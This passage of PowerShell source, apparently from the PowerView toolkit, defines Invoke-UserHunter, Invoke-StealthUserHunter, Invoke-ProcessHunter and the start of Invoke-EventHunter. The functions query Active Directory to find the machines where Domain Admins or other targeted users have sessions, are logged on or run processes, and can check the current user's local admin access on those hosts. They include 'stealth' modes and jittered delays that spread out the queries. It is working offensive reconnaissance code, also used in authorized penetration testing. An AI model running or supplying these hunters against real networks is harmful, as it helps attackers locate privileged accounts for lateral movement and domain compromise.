8239 .PARAMETER UserFilter
8240 A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)"
8241 .PARAMETER UserADSpath
8242 The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
8243 Useful for OU queries.
8244 .PARAMETER UserFile
8245 File of usernames to search for.
8246 .PARAMETER AdminCount
8247 Switch. Hunt for users with adminCount=1.
8248 .PARAMETER AllowDelegation
8249 Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'
8250 .PARAMETER StopOnSuccess
8251 Switch. Stop hunting after finding after finding a target user.
8252 .PARAMETER NoPing
8253 Don't ping each host to ensure it's up before enumerating.
8254 .PARAMETER CheckAccess
8255 Switch. Check if the current user has local admin access to found machines.
8256 .PARAMETER Delay
8257 Delay between enumerating hosts, defaults to 0
8258 .PARAMETER Jitter
8259 Jitter for the host delay, defaults to +/- 0.3
8260 .PARAMETER Domain
8261 Domain for query for machines, defaults to the current domain.
8262 .PARAMETER DomainController
8263 Domain controller to reflect LDAP queries through.
8264 .PARAMETER ShowAll
8265 Switch. Return all user location results, i.e. Invoke-UserView functionality.
8266 .PARAMETER SearchForest
8267 Switch. Search all domains in the forest for target users instead of just
8268 a single domain.
8269 .PARAMETER Stealth
8270 Switch. Only enumerate sessions from connonly used target servers.
8271 .PARAMETER StealthSource
8272 The source of target servers to use, 'DFS' (distributed file servers),
8273 'DC' (domain controllers), 'File' (file servers), or 'All'
8274 .PARAMETER ForeignUsers
8275 Switch. Only return results that are not part of searched domain.
8276 .PARAMETER Threads
8277 The maximum concurrent threads to execute.
8278 .PARAMETER Poll
8279 Continuously poll for sessions for the given duration. Automatically
8280 sets Threads to the number of computers being polled.
8281 .EXAMPLE
8282 PS C:\> Invoke-UserHunter -CheckAccess
8283 Finds machines on the local domain where domain admins are logged into
8284 and checks if the current user has local administrator access.
8285 .EXAMPLE
8286 PS C:\> Invoke-UserHunter -Domain 'testing'
8287 Finds machines on the 'testing' domain where domain admins are logged into.
8288 .EXAMPLE
8289 PS C:\> Invoke-UserHunter -Threads 20
8290 Multi-threaded user hunting, replaces Invoke-UserHunterThreaded.
8291 .EXAMPLE
8292 PS C:\> Invoke-UserHunter -UserFile users.txt -ComputerFile hosts.txt
8293 Finds machines in hosts.txt where any members of users.txt are logged in
8294 or have sessions.
8295 .EXAMPLE
8296 PS C:\> Invoke-UserHunter -GroupName "Power Users" -Delay 60
8297 Find machines on the domain where members of the "Power Users" groups are
8298 logged into with a 60 second (+/- *.3) randomized delay between
8299 touching each host.
8300 .EXAMPLE
8301 PS C:\> Invoke-UserHunter -TargetServer FILESERVER
8302 Query FILESERVER for useres who are effective local administrators using
8303 Get-NetLocalGroup -Recurse, and hunt for that user set on the network.
8304 .EXAMPLE
8305 PS C:\> Invoke-UserHunter -SearchForest
8306 Find all machines in the current forest where domain admins are logged in.
8307 .EXAMPLE
8308 PS C:\> Invoke-UserHunter -Stealth
8309 Executes old Invoke-StealthUserHunter functionality, enumerating commonly
8310 used servers and checking just sessions for each.
8311 .EXAMPLE
8312 PS C:\> Invoke-UserHunter -Stealth -StealthSource DC -Poll 3600 -Delay 5 -ShowAll | ? { ! $_.UserName.EndsWith('$') }
8313 Poll Domain Controllers in parallel for sessions for an hour, waiting five
8314 seconds before querying each DC again and filtering out computer accounts.
8315 .LINK
8316 http://blog.harmj0y.net
8317#>
8318
8319 [CmdletBinding()]
8320 param(
8321 [Parameter(Position=0,ValueFromPipeline=$True)]
8322 [Alias('Hosts')]
8323 [String[]]
8324 $ComputerName,
8325
8326 [ValidateScript({Test-Path -Path $_ })]
8327 [Alias('HostList')]
8328 [String]
8329 $ComputerFile,
8330
8331 [String]
8332 $ComputerFilter,
8333
8334 [String]
8335 $ComputerADSpath,
8336
8337 [Switch]
8338 $Unconstrained,
8339
8340 [String]
8341 $GroupName = 'Domain Admins',
8342
8343 [String]
8344 $TargetServer,
8345
8346 [String]
8347 $UserName,
8348
8349 [String]
8350 $UserFilter,
8351
8352 [String]
8353 $UserADSpath,
8354
8355 [ValidateScript({Test-Path -Path $_ })]
8356 [String]
8357 $UserFile,
8358
8359 [Switch]
8360 $AdminCount,
8361
8362 [Switch]
8363 $AllowDelegation,
8364
8365 [Switch]
8366 $CheckAccess,
8367
8368 [Switch]
8369 $StopOnSuccess,
8370
8371 [Switch]
8372 $NoPing,
8373
8374 [UInt32]
8375 $Delay = 0,
8376
8377 [Double]
8378 $Jitter = .3,
8379
8380 [String]
8381 $Domain,
8382
8383 [String]
8384 $DomainController,
8385
8386 [Switch]
8387 $ShowAll,
8388
8389 [Switch]
8390 $SearchForest,
8391
8392 [Switch]
8393 $Stealth,
8394
8395 [String]
8396 [ValidateSet("DFS","DC","File","All")]
8397 $StealthSource ="All",
8398
8399 [Switch]
8400 $ForeignUsers,
8401
8402 [Int]
8403 [ValidateRange(1,100)]
8404 $Threads,
8405
8406 [UInt32]
8407 $Poll = 0
8408 )
8409
8410 begin {
8411
8412 if ($PSBoundParameters['Debug']) {
8413 $DebugPreference = 'Continue'
8414 }
8415
8416 Write-Verbose "[*] Running Invoke-UserHunter with delay of $Delay"
8417
8418 #####################################################
8419 #
8420 # First we build the host target set
8421 #
8422 #####################################################
8423
8424 if($ComputerFile) {
8425 # if we're using a host list, read the targets in and add them to the target list
8426 $ComputerName = Get-Content -Path $ComputerFile
8427 }
8428
8429 if(!$ComputerName) {
8430 [Array]$ComputerName = @()
8431
8432 if($Domain) {
8433 $TargetDomains = @($Domain)
8434 }
8435 elseif($SearchForest) {
8436 # get ALL the domains in the forest to search
8437 $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
8438 }
8439 else {
8440 # use the local domain
8441 $TargetDomains = @( (Get-NetDomain).name )
8442 }
8443
8444 if($Stealth) {
8445 Write-Verbose "Stealth mode! Enumerating commonly used servers"
8446 Write-Verbose "Stealth source: $StealthSource"
8447
8448 ForEach ($Domain in $TargetDomains) {
8449 if (($StealthSource -eq "File") -or ($StealthSource -eq "All")) {
8450 Write-Verbose "[*] Querying domain $Domain for File Servers..."
8451 $ComputerName += Get-NetFileServer -Domain $Domain -DomainController $DomainController
8452 }
8453 if (($StealthSource -eq "DFS") -or ($StealthSource -eq "All")) {
8454 Write-Verbose "[*] Querying domain $Domain for DFS Servers..."
8455 $ComputerName += Get-DFSshare -Domain $Domain -DomainController $DomainController | ForEach-Object {$_.RemoteServerName}
8456 }
8457 if (($StealthSource -eq "DC") -or ($StealthSource -eq "All")) {
8458 Write-Verbose "[*] Querying domain $Domain for Domain Controllers..."
8459 $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.dnshostname}
8460 }
8461 }
8462 }
8463 else {
8464 ForEach ($Domain in $TargetDomains) {
8465 Write-Verbose "[*] Querying domain $Domain for hosts"
8466
8467 $Arguments = @{
8468 'Domain' = $Domain
8469 'DomainController' = $DomainController
8470 'ADSpath' = $ADSpath
8471 'Filter' = $ComputerFilter
8472 'Unconstrained' = $Unconstrained
8473 }
8474
8475 $ComputerName += Get-NetComputer @Arguments
8476 }
8477 }
8478
8479 # remove any null target hosts, uniquify the list and shuffle it
8480 $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
8481 if($($ComputerName.Count) -eq 0) {
8482 throw "No hosts found!"
8483 }
8484 }
8485
8486 if ($Poll -gt 0) {
8487 Write-Verbose "[*] Polling for $Poll seconds. Automatically enabling threaded mode."
8488 if ($ComputerName.Count -gt 100) {
8489 throw "Too many hosts to poll! Try fewer than 100."
8490 }
8491 $Threads = $ComputerName.Count
8492 }
8493
8494 #####################################################
8495 #
8496 # Now we build the user target set
8497 #
8498 #####################################################
8499
8500 # users we're going to be searching for
8501 $TargetUsers = @()
8502
8503 # get the current user so we can ignore it in the results
8504 $CurrentUser = ([Environment]::UserName).toLower()
8505
8506 # if we're showing all results, skip username enumeration
8507 if($ShowAll -or $ForeignUsers) {
8508 $User = New-Object PSObject
8509 $User | Add-Member Noteproperty 'MemberDomain' $Null
8510 $User | Add-Member Noteproperty 'MemberName' '*'
8511 $TargetUsers = @($User)
8512
8513 if($ForeignUsers) {
8514 # if we're searching for user results not in the primary domain
8515 $krbtgtName = Convert-ADName -ObjectName "krbtgt@$($Domain)" -InputType Simple -OutputType NT4
8516 $DomainShortName = $krbtgtName.split("\")[0]
8517 }
8518 }
8519 # if we want to hunt for the effective domain users who can access a target server
8520 elseif($TargetServer) {
8521 Write-Verbose "Querying target server '$TargetServer' for local users"
8522 $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object {
8523 $User = New-Object PSObject
8524 $User | Add-Member Noteproperty 'MemberDomain' ($_.AccountName).split("/")[0].toLower()
8525 $User | Add-Member Noteproperty 'MemberName' ($_.AccountName).split("/")[1].toLower()
8526 $User
8527 } | Where-Object {$_}
8528 }
8529 # if we get a specific username, only use that
8530 elseif($UserName) {
8531 Write-Verbose "[*] Using target user '$UserName'..."
8532 $User = New-Object PSObject
8533 if($TargetDomains) {
8534 $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0]
8535 }
8536 else {
8537 $User | Add-Member Noteproperty 'MemberDomain' $Null
8538 }
8539 $User | Add-Member Noteproperty 'MemberName' $UserName.ToLower()
8540 $TargetUsers = @($User)
8541 }
8542 # read in a target user list if we have one
8543 elseif($UserFile) {
8544 $TargetUsers = Get-Content -Path $UserFile | ForEach-Object {
8545 $User = New-Object PSObject
8546 if($TargetDomains) {
8547 $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0]
8548 }
8549 else {
8550 $User | Add-Member Noteproperty 'MemberDomain' $Null
8551 }
8552 $User | Add-Member Noteproperty 'MemberName' $_
8553 $User
8554 } | Where-Object {$_}
8555 }
8556 elseif($UserADSpath -or $UserFilter -or $AdminCount) {
8557 ForEach ($Domain in $TargetDomains) {
8558
8559 $Arguments = @{
8560 'Domain' = $Domain
8561 'DomainController' = $DomainController
8562 'ADSpath' = $UserADSpath
8563 'Filter' = $UserFilter
8564 'AdminCount' = $AdminCount
8565 'AllowDelegation' = $AllowDelegation
8566 }
8567
8568 Write-Verbose "[*] Querying domain $Domain for users"
8569 $TargetUsers += Get-NetUser @Arguments | ForEach-Object {
8570 $User = New-Object PSObject
8571 $User | Add-Member Noteproperty 'MemberDomain' $Domain
8572 $User | Add-Member Noteproperty 'MemberName' $_.samaccountname
8573 $User
8574 } | Where-Object {$_}
8575
8576 }
8577 }
8578 else {
8579 ForEach ($Domain in $TargetDomains) {
8580 Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'"
8581 $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController
8582 }
8583 }
8584
8585 if (( (-not $ShowAll) -and (-not $ForeignUsers) ) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) {
8586 throw "[!] No users found to search for!"
8587 }
8588
8589 # script block that enumerates a server
8590 $HostEnumBlock = {
8591 param($ComputerName, $Ping, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName, $Poll, $Delay, $Jitter)
8592
8593 # optionally check if the server is up first
8594 $Up = $True
8595 if($Ping) {
8596 $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
8597 }
8598 if($Up) {
8599 $Timer = [System.Diagnostics.Stopwatch]::StartNew()
8600 $RandNo = New-Object System.Random
8601
8602 Do {
8603 if(!$DomainShortName) {
8604 # if we're not searching for foreign users, check session information
8605 $Sessions = Get-NetSession -ComputerName $ComputerName
8606 ForEach ($Session in $Sessions) {
8607 $UserName = $Session.sesi10_username
8608 $CName = $Session.sesi10_cname
8609
8610 if($CName -and $CName.StartsWith("\\")) {
8611 $CName = $CName.TrimStart("\")
8612 }
8613
8614 # make sure we have a result
8615 if (($UserName) -and ($UserName.trim() -ne '') -and (!($UserName -match $CurrentUser))) {
8616
8617 $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object {
8618
8619 $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress
8620 $FoundUser = New-Object PSObject
8621 $FoundUser | Add-Member Noteproperty 'UserDomain' $_.MemberDomain
8622 $FoundUser | Add-Member Noteproperty 'UserName' $UserName
8623 $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName
8624 $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress
8625 $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName
8626
8627 # Try to resolve the DNS hostname of $Cname
8628 try {
8629 $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName
8630 $FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName
8631 }
8632 catch {
8633 $FoundUser | Add-Member NoteProperty 'SessionFromName' $Null
8634 }
8635
8636 # see if we're checking to see if we have local admin access on this machine
8637 if ($CheckAccess) {
8638 $Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName
8639 $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
8640 }
8641 else {
8642 $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null
8643 }
8644 $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession')
8645 $FoundUser
8646 }
8647 }
8648 }
8649 }
8650 if(!$Stealth) {
8651 # if we're not 'stealthy', enumerate loggedon users as well
8652 $LoggedOn = Get-NetLoggedon -ComputerName $ComputerName
8653 ForEach ($User in $LoggedOn) {
8654 $UserName = $User.wkui1_username
8655 # TODO: translate domain to authoratative name
8656 # then match domain name ?
8657 $UserDomain = $User.wkui1_logon_domain
8658
8659 # make sure wet have a result
8660 if (($UserName) -and ($UserName.trim() -ne '')) {
8661
8662 $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object {
8663
8664 $Proceed = $True
8665 if($DomainShortName) {
8666 if ($DomainShortName.ToLower() -ne $UserDomain.ToLower()) {
8667 $Proceed = $True
8668 }
8669 else {
8670 $Proceed = $False
8671 }
8672 }
8673 if($Proceed) {
8674 $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress
8675 $FoundUser = New-Object PSObject
8676 $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain
8677 $FoundUser | Add-Member Noteproperty 'UserName' $UserName
8678 $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName
8679 $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress
8680 $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null
8681 $FoundUser | Add-Member Noteproperty 'SessionFromName' $Null
8682
8683 # see if we're checking to see if we have local admin access on this machine
8684 if ($CheckAccess) {
8685 $Admin = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName
8686 $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
8687 }
8688 else {
8689 $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null
8690 }
8691 $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession')
8692 $FoundUser
8693 }
8694 }
8695 }
8696 }
8697 }
8698
8699 if ($Poll -gt 0) {
8700 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
8701 }
8702 } While ($Poll -gt 0 -and $Timer.Elapsed.TotalSeconds -lt $Poll)
8703 }
8704 }
8705 }
8706
8707 process {
8708
8709 if($Threads) {
8710 Write-Verbose "Using threading with threads = $Threads"
8711
8712 # if we're using threading, kick off the script block with Invoke-ThreadedFunction
8713 $ScriptParams = @{
8714 'Ping' = $(-not $NoPing)
8715 'TargetUsers' = $TargetUsers
8716 'CurrentUser' = $CurrentUser
8717 'Stealth' = $Stealth
8718 'DomainShortName' = $DomainShortName
8719 'Poll' = $Poll
8720 'Delay' = $Delay
8721 'Jitter' = $Jitter
8722 }
8723
8724 # kick off the threaded script block + arguments
8725 Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
8726 }
8727
8728 else {
8729 if(-not $NoPing -and ($ComputerName.count -ne 1)) {
8730 # ping all hosts in parallel
8731 $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
8732 $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
8733 }
8734
8735 Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
8736 $Counter = 0
8737 $RandNo = New-Object System.Random
8738
8739 ForEach ($Computer in $ComputerName) {
8740
8741 $Counter = $Counter + 1
8742
8743 # sleep for our semi-randomized interval
8744 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
8745
8746 Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
8747 $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName, 0, 0, 0
8748 $Result
8749
8750 if($Result -and $StopOnSuccess) {
8751 Write-Verbose "[*] Target user found, returning early"
8752 return
8753 }
8754 }
8755 }
8756
8757 }
8758}
8759
8760
8761function Invoke-StealthUserHunter {
8762 [CmdletBinding()]
8763 param(
8764 [Parameter(Position=0,ValueFromPipeline=$True)]
8765 [Alias('Hosts')]
8766 [String[]]
8767 $ComputerName,
8768
8769 [ValidateScript({Test-Path -Path $_ })]
8770 [Alias('HostList')]
8771 [String]
8772 $ComputerFile,
8773
8774 [String]
8775 $ComputerFilter,
8776
8777 [String]
8778 $ComputerADSpath,
8779
8780 [String]
8781 $GroupName = 'Domain Admins',
8782
8783 [String]
8784 $TargetServer,
8785
8786 [String]
8787 $UserName,
8788
8789 [String]
8790 $UserFilter,
8791
8792 [String]
8793 $UserADSpath,
8794
8795 [ValidateScript({Test-Path -Path $_ })]
8796 [String]
8797 $UserFile,
8798
8799 [Switch]
8800 $CheckAccess,
8801
8802 [Switch]
8803 $StopOnSuccess,
8804
8805 [Switch]
8806 $NoPing,
8807
8808 [UInt32]
8809 $Delay = 0,
8810
8811 [Double]
8812 $Jitter = .3,
8813
8814 [String]
8815 $Domain,
8816
8817 [Switch]
8818 $ShowAll,
8819
8820 [Switch]
8821 $SearchForest,
8822
8823 [String]
8824 [ValidateSet("DFS","DC","File","All")]
8825 $StealthSource ="All"
8826 )
8827 # kick off Invoke-UserHunter with stealth options
8828 Invoke-UserHunter -Stealth @PSBoundParameters
8829}
8830
8831
8832function Invoke-ProcessHunter {
8833<#
8834 .SYNOPSIS
8835 Query the process lists of remote machines, searching for
8836 processes with a specific name or owned by a specific user.
8837 Thanks to @paulbrandau for the approach idea.
8838
8839 Author: @harmj0y
8840 License: BSD 3-Clause
8841 .PARAMETER ComputerName
8842 Host array to enumerate, passable on the pipeline.
8843 .PARAMETER ComputerFile
8844 File of hostnames/IPs to search.
8845 .PARAMETER ComputerFilter
8846 Host filter name to query AD for, wildcards accepted.
8847 .PARAMETER ComputerADSpath
8848 The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
8849 Useful for OU queries.
8850 .PARAMETER ProcessName
8851 The name of the process to hunt, or a comma separated list of names.
8852 .PARAMETER GroupName
8853 Group name to query for target users.
8854 .PARAMETER TargetServer
8855 Hunt for users who are effective local admins on a target server.
8856 .PARAMETER UserName
8857 Specific username to search for.
8858 .PARAMETER UserFilter
8859 A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)"
8860 .PARAMETER UserADSpath
8861 The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
8862 Useful for OU queries.
8863 .PARAMETER UserFile
8864 File of usernames to search for.
8865 .PARAMETER StopOnSuccess
8866 Switch. Stop hunting after finding after finding a target user/process.
8867 .PARAMETER NoPing
8868 Switch. Don't ping each host to ensure it's up before enumerating.
8869 .PARAMETER Delay
8870 Delay between enumerating hosts, defaults to 0
8871 .PARAMETER Jitter
8872 Jitter for the host delay, defaults to +/- 0.3
8873 .PARAMETER Domain
8874 Domain for query for machines, defaults to the current domain.
8875 .PARAMETER DomainController
8876 Domain controller to reflect LDAP queries through.
8877 .PARAMETER ShowAll
8878 Switch. Return all user location results.
8879 .PARAMETER SearchForest
8880 Switch. Search all domains in the forest for target users instead of just
8881 a single domain.
8882 .PARAMETER Threads
8883 The maximum concurrent threads to execute.
8884 .PARAMETER Credential
8885 A [Management.Automation.PSCredential] object of alternate credentials
8886 for connection to the target machine/domain.
8887 .EXAMPLE
8888 PS C:\> Invoke-ProcessHunter -Domain 'testing'
8889
8890 Finds machines on the 'testing' domain where domain admins have a
8891 running process.
8892 .EXAMPLE
8893 PS C:\> Invoke-ProcessHunter -Threads 20
8894 Multi-threaded process hunting, replaces Invoke-ProcessHunterThreaded.
8895 .EXAMPLE
8896 PS C:\> Invoke-ProcessHunter -UserFile users.txt -ComputerFile hosts.txt
8897
8898 Finds machines in hosts.txt where any members of users.txt have running
8899 processes.
8900 .EXAMPLE
8901 PS C:\> Invoke-ProcessHunter -GroupName "Power Users" -Delay 60
8902
8903 Find machines on the domain where members of the "Power Users" groups have
8904 running processes with a 60 second (+/- *.3) randomized delay between
8905 touching each host.
8906 .LINK
8907 http://blog.harmj0y.net
8908#>
8909
8910 [CmdletBinding()]
8911 param(
8912 [Parameter(Position=0,ValueFromPipeline=$True)]
8913 [Alias('Hosts')]
8914 [String[]]
8915 $ComputerName,
8916
8917 [ValidateScript({Test-Path -Path $_ })]
8918 [Alias('HostList')]
8919 [String]
8920 $ComputerFile,
8921
8922 [String]
8923 $ComputerFilter,
8924
8925 [String]
8926 $ComputerADSpath,
8927
8928 [String]
8929 $ProcessName,
8930
8931 [String]
8932 $GroupName = 'Domain Admins',
8933
8934 [String]
8935 $TargetServer,
8936
8937 [String]
8938 $UserName,
8939
8940 [String]
8941 $UserFilter,
8942
8943 [String]
8944 $UserADSpath,
8945
8946 [ValidateScript({Test-Path -Path $_ })]
8947 [String]
8948 $UserFile,
8949
8950 [Switch]
8951 $StopOnSuccess,
8952
8953 [Switch]
8954 $NoPing,
8955
8956 [UInt32]
8957 $Delay = 0,
8958
8959 [Double]
8960 $Jitter = .3,
8961
8962 [String]
8963 $Domain,
8964
8965 [String]
8966 $DomainController,
8967
8968 [Switch]
8969 $ShowAll,
8970
8971 [Switch]
8972 $SearchForest,
8973
8974 [ValidateRange(1,100)]
8975 [Int]
8976 $Threads,
8977
8978 [Management.Automation.PSCredential]
8979 $Credential
8980 )
8981
8982 begin {
8983
8984 if ($PSBoundParameters['Debug']) {
8985 $DebugPreference = 'Continue'
8986 }
8987
8988 # random object for delay
8989 $RandNo = New-Object System.Random
8990
8991 Write-Verbose "[*] Running Invoke-ProcessHunter with delay of $Delay"
8992
8993 #####################################################
8994 #
8995 # First we build the host target set
8996 #
8997 #####################################################
8998
8999 # if we're using a host list, read the targets in and add them to the target list
9000 if($ComputerFile) {
9001 $ComputerName = Get-Content -Path $ComputerFile
9002 }
9003
9004 if(!$ComputerName) {
9005 [array]$ComputerName = @()
9006
9007 if($Domain) {
9008 $TargetDomains = @($Domain)
9009 }
9010 elseif($SearchForest) {
9011 # get ALL the domains in the forest to search
9012 $TargetDomains = Get-NetForestDomain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.Name }
9013 }
9014 else {
9015 # use the local domain
9016 $TargetDomains = @( (Get-NetDomain -Domain $Domain -Credential $Credential).name )
9017 }
9018
9019 ForEach ($Domain in $TargetDomains) {
9020 Write-Verbose "[*] Querying domain $Domain for hosts"
9021 $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath
9022 }
9023
9024 # remove any null target hosts, uniquify the list and shuffle it
9025 $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
9026 if($($ComputerName.Count) -eq 0) {
9027 throw "No hosts found!"
9028 }
9029 }
9030
9031 #####################################################
9032 #
9033 # Now we build the user target set
9034 #
9035 #####################################################
9036
9037 if(!$ProcessName) {
9038 Write-Verbose "No process name specified, building a target user set"
9039
9040 # users we're going to be searching for
9041 $TargetUsers = @()
9042
9043 # if we want to hunt for the effective domain users who can access a target server
9044 if($TargetServer) {
9045 Write-Verbose "Querying target server '$TargetServer' for local users"
9046 $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object {
9047 ($_.AccountName).split("/")[1].toLower()
9048 } | Where-Object {$_}
9049 }
9050 # if we get a specific username, only use that
9051 elseif($UserName) {
9052 Write-Verbose "[*] Using target user '$UserName'..."
9053 $TargetUsers = @( $UserName.ToLower() )
9054 }
9055 # read in a target user list if we have one
9056 elseif($UserFile) {
9057 $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_}
9058 }
9059 elseif($UserADSpath -or $UserFilter) {
9060 ForEach ($Domain in $TargetDomains) {
9061 Write-Verbose "[*] Querying domain $Domain for users"
9062 $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object {
9063 $_.samaccountname
9064 } | Where-Object {$_}
9065 }
9066 }
9067 else {
9068 ForEach ($Domain in $TargetDomains) {
9069 Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'"
9070 $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential| ForEach-Object {
9071 $_.MemberName
9072 }
9073 }
9074 }
9075
9076 if ((-not $ShowAll) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) {
9077 throw "[!] No users found to search for!"
9078 }
9079 }
9080
9081 # script block that enumerates a server
9082 $HostEnumBlock = {
9083 param($ComputerName, $Ping, $ProcessName, $TargetUsers, $Credential)
9084
9085 # optionally check if the server is up first
9086 $Up = $True
9087 if($Ping) {
9088 $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
9089 }
9090 if($Up) {
9091 # try to enumerate all active processes on the remote host
9092 # and search for a specific process name
9093 $Processes = Get-NetProcess -Credential $Credential -ComputerName $ComputerName -ErrorAction SilentlyContinue
9094
9095 ForEach ($Process in $Processes) {
9096 # if we're hunting for a process name or comma-separated names
9097 if($ProcessName) {
9098 $ProcessName.split(",") | ForEach-Object {
9099 if ($Process.ProcessName -match $_) {
9100 $Process
9101 }
9102 }
9103 }
9104 # if the session user is in the target list, display some output
9105 elseif ($TargetUsers -contains $Process.User) {
9106 $Process
9107 }
9108 }
9109 }
9110 }
9111
9112 }
9113
9114 process {
9115
9116 if($Threads) {
9117 Write-Verbose "Using threading with threads = $Threads"
9118
9119 # if we're using threading, kick off the script block with Invoke-ThreadedFunction
9120 $ScriptParams = @{
9121 'Ping' = $(-not $NoPing)
9122 'ProcessName' = $ProcessName
9123 'TargetUsers' = $TargetUsers
9124 'Credential' = $Credential
9125 }
9126
9127 # kick off the threaded script block + arguments
9128 Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
9129 }
9130
9131 else {
9132 if(-not $NoPing -and ($ComputerName.count -ne 1)) {
9133 # ping all hosts in parallel
9134 $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
9135 $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
9136 }
9137
9138 Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
9139 $Counter = 0
9140
9141 ForEach ($Computer in $ComputerName) {
9142
9143 $Counter = $Counter + 1
9144
9145 # sleep for our semi-randomized interval
9146 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
9147
9148 Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
9149 $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $ProcessName, $TargetUsers, $Credential
9150 $Result
9151
9152 if($Result -and $StopOnSuccess) {
9153 Write-Verbose "[*] Target user/process found, returning early"
9154 return
9155 }
9156 }
9157 }
9158 }
9159}
9160
9161
9162function Invoke-EventHunter {
9163<#
9164 .SYNOPSIS
9165 Queries all domain controllers on the network for account
9166 logon events (ID 4624) and TGT request events (ID 4768),
9167 searching for target users.
9168 Note: Domain Admin (or equiv) rights are needed to query
9169 this information from the DCs.
9170 Author: @sixdub, @harmj0y
9171 License: BSD 3-Clause
9172 .PARAMETER ComputerName
9173 Host array to enumerate, passable on the pipeline.
9174 .PARAMETER ComputerFile
9175 File of hostnames/IPs to search.
9176 .PARAMETER ComputerFilter
9177 Host filter name to query AD for, wildcards accepted.
9178 .PARAMETER ComputerADSpath
9179 The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
9180 Useful for OU queries.
9181 .PARAMETER GroupName
9182 Group name to query for target users.
9183 .PARAMETER TargetServer
9184 Hunt for users who are effective local admins on a target server.
9185 .PARAMETER UserName
9186 Specific username to search for.
9187 .PARAMETER UserFilter
9188 A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)"
9189 .PARAMETER UserADSpath
9190 The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
9191 Useful for OU queries.
9192 .PARAMETER UserFile
9193 File of usernames to search for.
9194 .PARAMETER NoPing
9195 Don't ping each host to ensure it's up before enumerating.
9196 .PARAMETER Domain
9197 Domain for query for machines, defaults to the current domain.
9198 .PARAMETER DomainController
9199 Domain controller to reflect LDAP queries through.
9200 .PARAMETER SearchDays
